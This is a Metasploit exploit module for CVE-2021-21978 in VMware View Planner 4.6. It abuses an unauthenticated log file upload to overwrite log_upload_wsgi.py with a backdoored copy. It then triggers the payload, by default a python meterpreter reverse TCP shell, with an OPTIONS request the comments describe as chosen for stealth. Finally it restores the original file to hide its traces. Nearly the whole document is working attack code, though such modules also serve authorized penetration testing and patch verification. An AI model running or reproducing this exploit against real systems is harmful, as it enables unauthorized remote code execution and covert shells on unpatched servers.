##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware View Planner Unauthenticated Log File Upload RCE',
        'Description' => %q{
          This module exploits an unauthenticated log file upload within the
          log_upload_wsgi.py file of VMWare View Planner 4.6 prior to 4.6
          Security Patch 1.

          Successful exploitation will result in RCE as the apache user inside
          the appacheServer Docker container.
        },
        'Author' => [
          'Mikhail Klyuchnikov', # Discovery
          'wvu', # Analysis and PoC
          'Grant Willcox' # Metasploit Module
        ],
        'References' => [
          ['CVE', '2021-21978'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0003.html'],
          ['URL', 'https://attackerkb.com/assessments/fc456e03-adf5-409a-955a-8a4fb7e79ece'] # wvu's PoC
        ],
        'DisclosureDate' => '2021-03-02', # Vendor advisory
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'python',
        'Targets' => [
          [
            'VMware View Planner 4.6.0',
            {
              'Arch' => ARCH_PYTHON,
              'Type' => :linux_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'python/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'wsgi_log_upload', 'log_upload_wsgi.py')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && !res.body.empty?
      return CheckCode::Safe('log_upload_wsgi.py file not found at the expected location.')
    end

    @original_content = res.body # If the server responded with the contents of log_upload_wsgi.py, lets save this for later restoration.

    if res.body&.include?('import hashlib') && res.body&.include?('if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key:')
      return CheckCode::Safe("Target's log_upload_wsgi.py file has been patched.")
    end

    CheckCode::Appears('Vulnerable log_upload_wsgi.py file identified!')
  end

  # We need to upload a file twice: once for uploading the backdoor, and once for restoring the original file.
  # As the code for both is the same, minus the content of the file, this is a generic function to handle that.
  def upload_file(content)
    mime = Rex::MIME::Message.new
    mime.add_part(content, 'application/octet-stream', nil, "form-data; name=\"logfile\"; filename=\"#{Rex::Text.rand_text_alpha(20)}\"")
    mime.add_part('{"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}', nil, nil, 'form-data; name="logMetaData"')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'logupload'),
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )
    unless res.to_s.include?('File uploaded successfully.')
      fail_with(Failure::UnexpectedReply, "Target indicated that the file wasn't uploaded successfully!")
    end
  end

  def exploit
    # Here we want to grab our template file, taken from a clean install but
    # with a backdoor section added to it, and then fill in the PAYLOAD placeholder
    # with the payload we want to execute.
    data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
    file_content = File.read(File.join(data_dir, 'log_upload_wsgi.py'))

    payload.encoded.gsub!(/"/, '\\"')
    file_content['PAYLOAD'] = payload.encoded

    # Now that things are primed, upload the file to the target.
    print_status('Uploading backdoor to system via the arbitrary file upload vulnerability!')
    upload_file(file_content)
    print_good('Backdoor uploaded!')

    # Use the OPTIONS request to trigger the backdoor. Technically this
    # could be any other method including invalid ones like BACKDOOR, but for
    # the purposes of stealth lets use a legitimate one.
    print_status('Sending request to execute the backdoor!')
    send_request_cgi(
      'method' => 'OPTIONS',
      'uri' => normalize_uri(target_uri.path, 'logupload')
    )
  ensure
    # At this point we should have our shell after waiting a few seconds,
    # so lets now restore the original file so we don't leave anything behind.
    print_status('Reuploading the original code to remove the backdoor!')
    upload_file(@original_content)
    print_good('Original file restored, enjoy the shell!')
  end
end
